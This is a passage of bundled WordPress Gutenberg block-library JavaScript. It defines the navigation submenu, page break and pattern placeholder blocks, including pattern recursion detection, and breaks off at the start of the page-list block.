34989const navigation_submenu_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/navigation-submenu","title":"Submenu","category":"design","parent":["core/navigation"],"description":"Add a submenu to your navigation.","textdomain":"default","attributes":{"label":{"type":"string","role":"content"},"type":{"type":"string"},"description":{"type":"string"},"rel":{"type":"string"},"id":{"type":"number"},"opensInNewTab":{"type":"boolean","default":false},"url":{"type":"string"},"title":{"type":"string"},"kind":{"type":"string"},"isTopLevelItem":{"type":"boolean"}},"usesContext":["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","maxNestingLevel","openSubmenusOnClick","style"],"supports":{"reusable":false,"html":false,"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-navigation-submenu-editor","style":"wp-block-navigation-submenu"}');
34990;// ./node_modules/@wordpress/icons/build-module/library/remove-submenu.js
34991
34992
34993var remove_submenu_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
34994 external_wp_primitives_namespaceObject.Path,
34995 {
34996 fillRule: "evenodd",
34997 clipRule: "evenodd",
34998 d: "m13.955 20.748 8-17.5-.91-.416L19.597 6H13.5v1.5h5.411l-1.6 3.5H13.5v1.5h3.126l-1.6 3.5H13.5l.028 1.5h.812l-1.295 2.832.91.416ZM17.675 16l-.686 1.5h4.539L21.5 16h-3.825Zm2.286-5-.686 1.5H21.5V11h-1.54ZM2 12c0 3.58 2.42 5.5 6 5.5h.5V19l3-2.5-3-2.5v2H8c-2.48 0-4.5-1.52-4.5-4S5.52 7.5 8 7.5h3.5V6H8c-3.58 0-6 2.42-6 6Z"
34999 }
35000) });
35001
35002
35003;// ./node_modules/@wordpress/block-library/build-module/navigation-submenu/icons.js
35004
35005
35006const ItemSubmenuIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35007 external_wp_components_namespaceObject.SVG,
35008 {
35009 xmlns: "http://www.w3.org/2000/svg",
35010 width: "12",
35011 height: "12",
35012 viewBox: "0 0 12 12",
35013 fill: "none",
35014 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M1.50002 4L6.00002 8L10.5 4", strokeWidth: "1.5" })
35015 }
35016);
35017
35018
35019;// ./node_modules/@wordpress/block-library/build-module/navigation-submenu/edit.js
35020
35021
35022
35023
35024
35025
35026
35027
35028
35029
35030
35031
35032
35033
35034
35035
35036
35037const ALLOWED_BLOCKS = [
35038 "core/navigation-link",
35039 "core/navigation-submenu",
35040 "core/page-list"
35041];
35042const edit_useIsDraggingWithin = (elementRef) => {
35043 const [isDraggingWithin, setIsDraggingWithin] = (0,external_wp_element_namespaceObject.useState)(false);
35044 (0,external_wp_element_namespaceObject.useEffect)(() => {
35045 const { ownerDocument } = elementRef.current;
35046 function handleDragStart(event) {
35047 handleDragEnter(event);
35048 }
35049 function handleDragEnd() {
35050 setIsDraggingWithin(false);
35051 }
35052 function handleDragEnter(event) {
35053 if (elementRef.current.contains(event.target)) {
35054 setIsDraggingWithin(true);
35055 } else {
35056 setIsDraggingWithin(false);
35057 }
35058 }
35059 ownerDocument.addEventListener("dragstart", handleDragStart);
35060 ownerDocument.addEventListener("dragend", handleDragEnd);
35061 ownerDocument.addEventListener("dragenter", handleDragEnter);
35062 return () => {
35063 ownerDocument.removeEventListener("dragstart", handleDragStart);
35064 ownerDocument.removeEventListener("dragend", handleDragEnd);
35065 ownerDocument.removeEventListener("dragenter", handleDragEnter);
35066 };
35067 }, []);
35068 return isDraggingWithin;
35069};
35070function NavigationSubmenuEdit({
35071 attributes,
35072 isSelected,
35073 setAttributes,
35074 mergeBlocks,
35075 onReplace,
35076 context,
35077 clientId
35078}) {
35079 const { label, url, description } = attributes;
35080 const {
35081 showSubmenuIcon,
35082 maxNestingLevel,
35083 openSubmenusOnClick: contextOpenSubmenusOnClick
35084 } = context;
35085 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
35086 const openSubmenusOnClick = blockEditingMode !== "default" ? true : contextOpenSubmenusOnClick;
35087 const { clearBinding, createBinding } = useEntityBinding({
35088 clientId,
35089 attributes
35090 });
35091 const { __unstableMarkNextChangeAsNotPersistent, replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
35092 const [isLinkOpen, setIsLinkOpen] = (0,external_wp_element_namespaceObject.useState)(false);
35093 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
35094 const listItemRef = (0,external_wp_element_namespaceObject.useRef)(null);
35095 const isDraggingWithin = edit_useIsDraggingWithin(listItemRef);
35096 const itemLabelPlaceholder = (0,external_wp_i18n_namespaceObject.__)("Add text\u2026");
35097 const ref = (0,external_wp_element_namespaceObject.useRef)();
35098 const {
35099 parentCount,
35100 isParentOfSelectedBlock,
35101 isImmediateParentOfSelectedBlock,
35102 hasChildren,
35103 selectedBlockHasChildren,
35104 onlyDescendantIsEmptyLink
35105 } = (0,external_wp_data_namespaceObject.useSelect)(
35106 (select) => {
35107 const {
35108 hasSelectedInnerBlock,
35109 getSelectedBlockClientId,
35110 getBlockParentsByBlockName,
35111 getBlock,
35112 getBlockCount,
35113 getBlockOrder
35114 } = select(external_wp_blockEditor_namespaceObject.store);
35115 let _onlyDescendantIsEmptyLink;
35116 const selectedBlockId = getSelectedBlockClientId();
35117 const selectedBlockChildren = getBlockOrder(selectedBlockId);
35118 if (selectedBlockChildren?.length === 1) {
35119 const singleBlock = getBlock(selectedBlockChildren[0]);
35120 _onlyDescendantIsEmptyLink = singleBlock?.name === "core/navigation-link" && !singleBlock?.attributes?.label;
35121 }
35122 return {
35123 parentCount: getBlockParentsByBlockName(
35124 clientId,
35125 "core/navigation-submenu"
35126 ).length,
35127 isParentOfSelectedBlock: hasSelectedInnerBlock(
35128 clientId,
35129 true
35130 ),
35131 isImmediateParentOfSelectedBlock: hasSelectedInnerBlock(
35132 clientId,
35133 false
35134 ),
35135 hasChildren: !!getBlockCount(clientId),
35136 selectedBlockHasChildren: !!selectedBlockChildren?.length,
35137 onlyDescendantIsEmptyLink: _onlyDescendantIsEmptyLink
35138 };
35139 },
35140 [clientId]
35141 );
35142 const prevHasChildren = (0,external_wp_compose_namespaceObject.usePrevious)(hasChildren);
35143 (0,external_wp_element_namespaceObject.useEffect)(() => {
35144 if (!openSubmenusOnClick && !url) {
35145 setIsLinkOpen(true);
35146 }
35147 }, []);
35148 (0,external_wp_element_namespaceObject.useEffect)(() => {
35149 if (!isSelected) {
35150 setIsLinkOpen(false);
35151 }
35152 }, [isSelected]);
35153 (0,external_wp_element_namespaceObject.useEffect)(() => {
35154 if (isLinkOpen && url) {
35155 if ((0,external_wp_url_namespaceObject.isURL)((0,external_wp_url_namespaceObject.prependHTTP)(label)) && /^.+\.[a-z]+/.test(label)) {
35156 selectLabelText();
35157 }
35158 }
35159 }, [url]);
35160 function selectLabelText() {
35161 ref.current.focus();
35162 const { ownerDocument } = ref.current;
35163 const { defaultView } = ownerDocument;
35164 const selection = defaultView.getSelection();
35165 const range = ownerDocument.createRange();
35166 range.selectNodeContents(ref.current);
35167 selection.removeAllRanges();
35168 selection.addRange(range);
35169 }
35170 const {
35171 textColor,
35172 customTextColor,
35173 backgroundColor,
35174 customBackgroundColor
35175 } = getColors(context, parentCount > 0);
35176 function onKeyDown(event) {
35177 if (external_wp_keycodes_namespaceObject.isKeyboardEvent.primary(event, "k")) {
35178 event.preventDefault();
35179 event.stopPropagation();
35180 setIsLinkOpen(true);
35181 }
35182 }
35183 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
35184 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([setPopoverAnchor, listItemRef]),
35185 className: dist_clsx("wp-block-navigation-item", {
35186 "is-editing": isSelected || isParentOfSelectedBlock,
35187 "is-dragging-within": isDraggingWithin,
35188 "has-link": !!url,
35189 "has-child": hasChildren,
35190 "has-text-color": !!textColor || !!customTextColor,
35191 [(0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor)]: !!textColor,
35192 "has-background": !!backgroundColor || customBackgroundColor,
35193 [(0,external_wp_blockEditor_namespaceObject.getColorClassName)("background-color", backgroundColor)]: !!backgroundColor,
35194 "open-on-click": openSubmenusOnClick
35195 }),
35196 style: {
35197 color: !textColor && customTextColor,
35198 backgroundColor: !backgroundColor && customBackgroundColor
35199 },
35200 onKeyDown
35201 });
35202 const innerBlocksColors = getColors(context, true);
35203 const allowedBlocks = parentCount >= maxNestingLevel ? ALLOWED_BLOCKS.filter(
35204 (blockName) => blockName !== "core/navigation-submenu"
35205 ) : ALLOWED_BLOCKS;
35206 const navigationChildBlockProps = getNavigationChildBlockProps(innerBlocksColors);
35207 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(navigationChildBlockProps, {
35208 allowedBlocks,
35209 defaultBlock: constants_DEFAULT_BLOCK,
35210 directInsert: true,
35211 // Ensure block toolbar is not too far removed from item
35212 // being edited.
35213 // see: https://github.com/WordPress/gutenberg/pull/34615.
35214 __experimentalCaptureToolbars: true,
35215 renderAppender: isSelected || isImmediateParentOfSelectedBlock && !selectedBlockHasChildren || // Show the appender while dragging to allow inserting element between item and the appender.
35216 hasChildren ? external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender : false
35217 });
35218 const ParentElement = openSubmenusOnClick ? "button" : "a";
35219 function transformToLink() {
35220 const newLinkBlock = (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link", attributes);
35221 replaceBlock(clientId, newLinkBlock);
35222 }
35223 (0,external_wp_element_namespaceObject.useEffect)(() => {
35224 if (!hasChildren && prevHasChildren) {
35225 __unstableMarkNextChangeAsNotPersistent();
35226 transformToLink();
35227 }
35228 }, [hasChildren, prevHasChildren]);
35229 const canConvertToLink = !selectedBlockHasChildren || onlyDescendantIsEmptyLink;
35230 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
35231 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ToolbarGroup, { children: [
35232 !openSubmenusOnClick && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35233 external_wp_components_namespaceObject.ToolbarButton,
35234 {
35235 name: "link",
35236 icon: link_default,
35237 title: (0,external_wp_i18n_namespaceObject.__)("Link"),
35238 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary("k"),
35239 onClick: () => {
35240 setIsLinkOpen(true);
35241 }
35242 }
35243 ),
35244 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35245 external_wp_components_namespaceObject.ToolbarButton,
35246 {
35247 name: "revert",
35248 icon: remove_submenu_default,
35249 title: (0,external_wp_i18n_namespaceObject.__)("Convert to Link"),
35250 onClick: transformToLink,
35251 className: "wp-block-navigation__submenu__revert",
35252 disabled: !canConvertToLink
35253 }
35254 )
35255 ] }) }),
35256 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35257 controls_Controls,
35258 {
35259 attributes,
35260 setAttributes,
35261 clientId
35262 }
35263 ) }),
35264 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
35265 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(ParentElement, { className: "wp-block-navigation-item__content", children: [
35266 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35267 external_wp_blockEditor_namespaceObject.RichText,
35268 {
35269 ref,
35270 identifier: "label",
35271 className: "wp-block-navigation-item__label",
35272 value: label,
35273 onChange: (labelValue) => setAttributes({ label: labelValue }),
35274 onMerge: mergeBlocks,
35275 onReplace,
35276 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Navigation link text"),
35277 placeholder: itemLabelPlaceholder,
35278 withoutInteractiveFormatting: true,
35279 onClick: () => {
35280 if (!openSubmenusOnClick && !url) {
35281 setIsLinkOpen(true);
35282 }
35283 }
35284 }
35285 ),
35286 description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "wp-block-navigation-item__description", children: description }),
35287 !openSubmenusOnClick && isLinkOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
35288 LinkUI,
35289 {
35290 clientId,
35291 link: attributes,
35292 onClose: () => {
35293 setIsLinkOpen(false);
35294 },
35295 anchor: popoverAnchor,
35296 onRemove: () => {
35297 setAttributes({ url: "" });
35298 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Link removed."), "assertive");
35299 },
35300 onChange: (updatedValue) => {
35301 const {
35302 isEntityLink,
35303 attributes: updatedAttributes
35304 } = updateAttributes(
35305 updatedValue,
35306 setAttributes,
35307 attributes
35308 );
35309 if (isEntityLink) {
35310 createBinding(updatedAttributes);
35311 } else {
35312 clearBinding(updatedAttributes);
35313 }
35314 }
35315 }
35316 )
35317 ] }),
35318 (showSubmenuIcon || openSubmenusOnClick) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "wp-block-navigation__submenu-icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ItemSubmenuIcon, {}) }),
35319 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps })
35320 ] })
35321 ] });
35322}
35323
35324
35325;// ./node_modules/@wordpress/block-library/build-module/navigation-submenu/save.js
35326
35327
35328function navigation_submenu_save_save() {
35329 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
35330}
35331
35332
35333;// ./node_modules/@wordpress/block-library/build-module/navigation-submenu/transforms.js
35334
35335const navigation_submenu_transforms_transforms = {
35336 to: [
35337 {
35338 type: "block",
35339 blocks: ["core/navigation-link"],
35340 isMatch: (attributes, block) => block?.innerBlocks?.length === 0,
35341 transform: (attributes) => (0,external_wp_blocks_namespaceObject.createBlock)("core/navigation-link", attributes)
35342 },
35343 {
35344 type: "block",
35345 blocks: ["core/spacer"],
35346 isMatch: (attributes, block) => block?.innerBlocks?.length === 0,
35347 transform: () => {
35348 return (0,external_wp_blocks_namespaceObject.createBlock)("core/spacer");
35349 }
35350 },
35351 {
35352 type: "block",
35353 blocks: ["core/site-logo"],
35354 isMatch: (attributes, block) => block?.innerBlocks?.length === 0,
35355 transform: () => {
35356 return (0,external_wp_blocks_namespaceObject.createBlock)("core/site-logo");
35357 }
35358 },
35359 {
35360 type: "block",
35361 blocks: ["core/home-link"],
35362 isMatch: (attributes, block) => block?.innerBlocks?.length === 0,
35363 transform: () => {
35364 return (0,external_wp_blocks_namespaceObject.createBlock)("core/home-link");
35365 }
35366 },
35367 {
35368 type: "block",
35369 blocks: ["core/social-links"],
35370 isMatch: (attributes, block) => block?.innerBlocks?.length === 0,
35371 transform: () => {
35372 return (0,external_wp_blocks_namespaceObject.createBlock)("core/social-links");
35373 }
35374 },
35375 {
35376 type: "block",
35377 blocks: ["core/search"],
35378 isMatch: (attributes, block) => block?.innerBlocks?.length === 0,
35379 transform: () => {
35380 return (0,external_wp_blocks_namespaceObject.createBlock)("core/search");
35381 }
35382 }
35383 ]
35384};
35385var navigation_submenu_transforms_transforms_default = navigation_submenu_transforms_transforms;
35386
35387
35388;// ./node_modules/@wordpress/block-library/build-module/navigation-submenu/index.js
35389
35390
35391
35392
35393
35394
35395
35396const { name: navigation_submenu_name } = navigation_submenu_block_namespaceObject;
35397const navigation_submenu_settings = {
35398 icon: ({ context }) => {
35399 if (context === "list-view") {
35400 return page_default;
35401 }
35402 return add_submenu_default;
35403 },
35404 __experimentalLabel(attributes, { context }) {
35405 const { label } = attributes;
35406 const customName = attributes?.metadata?.name;
35407 if (context === "list-view" && (customName || label)) {
35408 return attributes?.metadata?.name || label;
35409 }
35410 return label;
35411 },
35412 edit: NavigationSubmenuEdit,
35413 example: {
35414 attributes: {
35415 label: (0,external_wp_i18n_namespaceObject._x)("About", "Example link text for Navigation Submenu"),
35416 type: "page"
35417 }
35418 },
35419 save: navigation_submenu_save_save,
35420 transforms: navigation_submenu_transforms_transforms_default
35421};
35422const navigation_submenu_init = () => initBlock({ name: navigation_submenu_name, metadata: navigation_submenu_block_namespaceObject, settings: navigation_submenu_settings });
35423
35424
35425;// ./node_modules/@wordpress/icons/build-module/library/page-break.js
35426
35427
35428var page_break_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.5 9V6a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v3H8V6a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v3h1.5Zm0 6.5V18a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2v-2.5H8V18a.5.5 0 0 0 .5.5h7a.5.5 0 0 0 .5-.5v-2.5h1.5ZM4 13h16v-1.5H4V13Z" }) });
35429
35430
35431;// ./node_modules/@wordpress/block-library/build-module/nextpage/edit.js
35432
35433
35434
35435function NextPageEdit() {
35436 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: (0,external_wp_i18n_namespaceObject.__)("Page break") }) });
35437}
35438
35439
35440;// ./node_modules/@wordpress/block-library/build-module/nextpage/block.json
35441const nextpage_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/nextpage","title":"Page Break","category":"design","description":"Separate your content into a multi-page experience.","keywords":["next page","pagination"],"parent":["core/post-content"],"textdomain":"default","supports":{"customClassName":false,"className":false,"html":false,"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-nextpage-editor"}');
35442;// ./node_modules/@wordpress/block-library/build-module/nextpage/save.js
35443
35444
35445function nextpage_save_save() {
35446 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: "<!--nextpage-->" });
35447}
35448
35449
35450;// ./node_modules/@wordpress/block-library/build-module/nextpage/transforms.js
35451
35452const nextpage_transforms_transforms = {
35453 from: [
35454 {
35455 type: "raw",
35456 schema: {
35457 "wp-block": { attributes: ["data-block"] }
35458 },
35459 isMatch: (node) => node.dataset && node.dataset.block === "core/nextpage",
35460 transform() {
35461 return (0,external_wp_blocks_namespaceObject.createBlock)("core/nextpage", {});
35462 }
35463 }
35464 ]
35465};
35466var nextpage_transforms_transforms_default = nextpage_transforms_transforms;
35467
35468
35469;// ./node_modules/@wordpress/block-library/build-module/nextpage/index.js
35470
35471
35472
35473
35474
35475
35476const { name: nextpage_name } = nextpage_block_namespaceObject;
35477const nextpage_settings = {
35478 icon: page_break_default,
35479 example: {},
35480 transforms: nextpage_transforms_transforms_default,
35481 edit: NextPageEdit,
35482 save: nextpage_save_save
35483};
35484const nextpage_init = () => initBlock({ name: nextpage_name, metadata: nextpage_block_namespaceObject, settings: nextpage_settings });
35485
35486
35487;// ./node_modules/@wordpress/block-library/build-module/pattern/block.json
35488const pattern_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/pattern","title":"Pattern Placeholder","category":"theme","description":"Show a block pattern.","supports":{"html":false,"inserter":false,"renaming":false,"visibility":false,"interactivity":{"clientNavigation":true}},"textdomain":"default","attributes":{"slug":{"type":"string"}}}');
35489;// ./node_modules/@wordpress/block-library/build-module/pattern/recursion-detector.js
35490
35491const cachedParsers = /* @__PURE__ */ new WeakMap();
35492function useParsePatternDependencies() {
35493 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
35494 if (!cachedParsers.has(registry)) {
35495 const deps = /* @__PURE__ */ new Map();
35496 cachedParsers.set(
35497 registry,
35498 parsePatternDependencies.bind(null, deps)
35499 );
35500 }
35501 return cachedParsers.get(registry);
35502}
35503function parsePatternDependencies(deps, { name, blocks }) {
35504 const queue = [...blocks];
35505 while (queue.length) {
35506 const block = queue.shift();
35507 for (const innerBlock of block.innerBlocks ?? []) {
35508 queue.unshift(innerBlock);
35509 }
35510 if (block.name === "core/pattern") {
35511 registerDependency(deps, name, block.attributes.slug);
35512 }
35513 }
35514}
35515function registerDependency(deps, a, b) {
35516 if (!deps.has(a)) {
35517 deps.set(a, /* @__PURE__ */ new Set());
35518 }
35519 deps.get(a).add(b);
35520 if (hasCycle(deps, a)) {
35521 throw new TypeError(
35522 `Pattern ${a} has a circular dependency and cannot be rendered.`
35523 );
35524 }
35525}
35526function hasCycle(deps, slug, visitedNodes = /* @__PURE__ */ new Set(), currentPath = /* @__PURE__ */ new Set()) {
35527 visitedNodes.add(slug);
35528 currentPath.add(slug);
35529 const dependencies = deps.get(slug) ?? /* @__PURE__ */ new Set();
35530 for (const dependency of dependencies) {
35531 if (!visitedNodes.has(dependency)) {
35532 if (hasCycle(deps, dependency, visitedNodes, currentPath)) {
35533 return true;
35534 }
35535 } else if (currentPath.has(dependency)) {
35536 return true;
35537 }
35538 }
35539 currentPath.delete(slug);
35540 return false;
35541}
35542
35543
35544;// ./node_modules/@wordpress/block-library/build-module/pattern/edit.js
35545
35546
35547
35548
35549
35550
35551
35552
35553const PatternEdit = ({ attributes, clientId }) => {
35554 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
35555 const selectedPattern = (0,external_wp_data_namespaceObject.useSelect)(
35556 (select) => select(external_wp_blockEditor_namespaceObject.store).__experimentalGetParsedPattern(
35557 attributes.slug
35558 ),
35559 [attributes.slug]
35560 );
35561 const currentThemeStylesheet = (0,external_wp_data_namespaceObject.useSelect)(
35562 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.stylesheet,
35563 []
35564 );
35565 const {
35566 replaceBlocks,
35567 setBlockEditingMode,
35568 __unstableMarkNextChangeAsNotPersistent
35569 } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
35570 const { getBlockRootClientId, getBlockEditingMode } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
35571 const [hasRecursionError, setHasRecursionError] = (0,external_wp_element_namespaceObject.useState)(false);
35572 const parsePatternDependencies = useParsePatternDependencies();
35573 function injectThemeAttributeInBlockTemplateContent(block) {
35574 if (block.innerBlocks.find(
35575 (innerBlock) => innerBlock.name === "core/template-part"
35576 )) {
35577 block.innerBlocks = block.innerBlocks.map((innerBlock) => {
35578 if (innerBlock.name === "core/template-part" && innerBlock.attributes.theme === void 0) {
35579 innerBlock.attributes.theme = currentThemeStylesheet;
35580 }
35581 return innerBlock;
35582 });
35583 }
35584 if (block.name === "core/template-part" && block.attributes.theme === void 0) {
35585 block.attributes.theme = currentThemeStylesheet;
35586 }
35587 return block;
35588 }
35589 (0,external_wp_element_namespaceObject.useEffect)(() => {
35590 if (!hasRecursionError && selectedPattern?.blocks) {
35591 try {
35592 parsePatternDependencies(selectedPattern);
35593 } catch (error) {
35594 setHasRecursionError(true);
35595 return;
35596 }
35597 window.queueMicrotask(() => {
35598 const rootClientId = getBlockRootClientId(clientId);
35599 const clonedBlocks = selectedPattern.blocks.map(
35600 (block) => (0,external_wp_blocks_namespaceObject.cloneBlock)(
35601 injectThemeAttributeInBlockTemplateContent(block)
35602 )
35603 );
35604 if (clonedBlocks.length === 1 && selectedPattern.categories?.length > 0) {
35605 clonedBlocks[0].attributes = {
35606 ...clonedBlocks[0].attributes,
35607 metadata: {
35608 ...clonedBlocks[0].attributes.metadata,
35609 categories: selectedPattern.categories,
35610 patternName: selectedPattern.name,
35611 name: clonedBlocks[0].attributes.metadata.name || selectedPattern.title
35612 }
35613 };
35614 }
35615 const rootEditingMode = getBlockEditingMode(rootClientId);
35616 registry.batch(() => {
35617 __unstableMarkNextChangeAsNotPersistent();
35618 setBlockEditingMode(rootClientId, "default");
35619 __unstableMarkNextChangeAsNotPersistent();
35620 replaceBlocks(clientId, clonedBlocks);
35621 __unstableMarkNextChangeAsNotPersistent();
35622 setBlockEditingMode(rootClientId, rootEditingMode);
35623 });
35624 });
35625 }
35626 }, [
35627 clientId,
35628 hasRecursionError,
35629 selectedPattern,
35630 __unstableMarkNextChangeAsNotPersistent,
35631 replaceBlocks,
35632 getBlockEditingMode,
35633 setBlockEditingMode,
35634 getBlockRootClientId
35635 ]);
35636 const props = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
35637 if (hasRecursionError) {
35638 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...props, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.sprintf)(
35639 // translators: A warning in which %s is the name of a pattern.
35640 (0,external_wp_i18n_namespaceObject.__)('Pattern "%s" cannot be rendered inside itself.'),
35641 selectedPattern?.name
35642 ) }) });
35643 }
35644 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...props });
35645};
35646var pattern_edit_edit_default = PatternEdit;
35647
35648
35649;// ./node_modules/@wordpress/block-library/build-module/pattern/index.js
35650
35651
35652
35653const { name: pattern_name } = pattern_block_namespaceObject;
35654const pattern_settings = {
35655 edit: pattern_edit_edit_default
35656};
35657const pattern_init = () => initBlock({ name: pattern_name, metadata: pattern_block_namespaceObject, settings: pattern_settings });
35658
35659
35660;// ./node_modules/@wordpress/icons/build-module/library/pages.js
35661
35662
35663var pages_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
35664 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M14.5 5.5h-7V7h7V5.5ZM7.5 9h7v1.5h-7V9Zm7 3.5h-7V14h7v-1.5Z" }),
35665 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16 2H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2ZM6 3.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V4a.5.5 0 0 1 .5-.5Z" }),
35666 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z" })
35667] });
35668
35669
35670;// ./node_modules/@wordpress/block-library/build-module/page-list/block.json
35671const page_list_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/page-list","title":"Page List","category":"widgets","allowedBlocks":["core/page-list-item"],"description":"Display a list of all pages.","keywords":["menu","navigation"],"textdomain":"default","attributes":{"parentPageID":{"type":"integer","default":0},"isNested":{"type":"boolean","default":false}},"usesContext":["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","style","openSubmenusOnClick"],"supports":{"reusable":false,"html":false,"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"color":{"text":true,"background":true,"link":true,"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true},"spacing":{"padding":true,"margin":true,"__experimentalDefaultControls":{"padding":false,"margin":false}},"contentRole":true},"editorStyle":"wp-block-page-list-editor","style":"wp-block-page-list"}');
35672;// ./node_modules/@wordpress/block-library/build-module/page-list/use-convert-to-navigation-links.js
35673
35674
35675
35676
35677function createNavigationLinks(pages = []) {
35678 const POST_TYPE_KIND = "post-type";
35679 const linkMap = {};
35680 const navigationLinks = [];
35681 pages.forEach(({ id, title, link: url, type, parent }) => {
